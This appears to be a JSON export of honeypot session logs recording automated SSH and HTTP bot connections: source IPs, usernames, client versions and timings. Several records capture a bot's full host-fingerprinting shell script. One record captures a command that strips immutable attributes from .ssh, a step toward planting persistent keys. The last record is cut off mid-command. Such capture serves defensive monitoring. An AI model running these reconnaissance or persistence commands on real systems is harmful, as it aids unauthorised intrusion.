  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:58:59.869134+00:00",
  "ended_at": "2026-08-26T15:59:00.129334+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b8d9bfc3-f4ca-4c77-981c-dbbc6e8ed2f9",
  "name": "courtly-boreal-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 46040,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:58:14.404185+00:00",
  "ended_at": "2026-08-26T15:58:14.820007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "964c3f65-e47a-406a-b05b-833bc0b5f8cb",
  "name": "solar-civil-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 57450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:57:02.123790+00:00",
  "ended_at": "2026-08-26T15:57:02.285697+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d8725eb8-f1fd-484d-be53-3e3f7c05e99a",
  "name": "early-primal-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.156.87.162",
  "src_port": 44734,
  "username": "ftp",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:57:01.306452+00:00",
  "ended_at": "2026-08-26T15:57:01.708074+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a85dfef6-f402-497b-8b12-58a431163ad2",
  "name": "ashen-airy-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 34436,
  "username": "breeana",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:55:42.057954+00:00",
  "ended_at": "2026-08-26T15:55:42.505388+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a01dd42-97fe-4e30-bec5-e2fd17def843",
  "name": "plucky-icy-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 54566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:55:08.687869+00:00",
  "ended_at": "2026-08-26T15:55:08.857686+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d68b7855-f871-4813-9112-e340a5c1a7ba",
  "name": "lunar-indigo-plover",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "34.230.176.20",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:53:57.608317+00:00",
  "ended_at": "2026-08-26T16:08:59.019022+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cdf86597-2d41-46e4-aa9a-e9a9e24ee7b2",
  "name": "silent-bitter-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 51666,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:53:21.348194+00:00",
  "ended_at": "2026-08-26T15:53:21.512762+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "9fe15003-a476-4436-9f97-8dc22ef93428",
  "name": "earnest-breezy-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52525,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:53:11.343499+00:00",
  "ended_at": "2026-08-26T15:53:27.886639+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ddfce4b8-589b-49ff-9229-d976ec8e250c",
  "name": "pewter-mottled-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40924,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:51:50.327883+00:00",
  "ended_at": "2026-08-26T15:51:51.487514+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "455df0d7-69a8-4955-85fb-65d9caa75566",
  "name": "lunar-lofty-gull",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40926,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:51:28.096135+00:00",
  "ended_at": "2026-08-26T15:51:29.527815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b77fbce6-d7da-4d0b-a1fe-19b7b7064541",
  "name": "drifting-deft-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 48776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:51:25.801231+00:00",
  "ended_at": "2026-08-26T15:51:25.929970+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2994caa3-5d5a-4832-abf1-dc28ff56e15f",
  "name": "dewy-drifting-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40925,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:51:25.172134+00:00",
  "ended_at": "2026-08-26T15:51:26.600458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42497065-52e9-49cc-8a75-0dba12453bdf",
  "name": "velvet-hollow-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 63545,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:50:01.878901+00:00",
  "ended_at": "2026-08-26T15:50:39.562885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2ad31f8-cab9-4d70-ab83-7a4617a0f383",
  "name": "nautical-quaint-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 45850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || 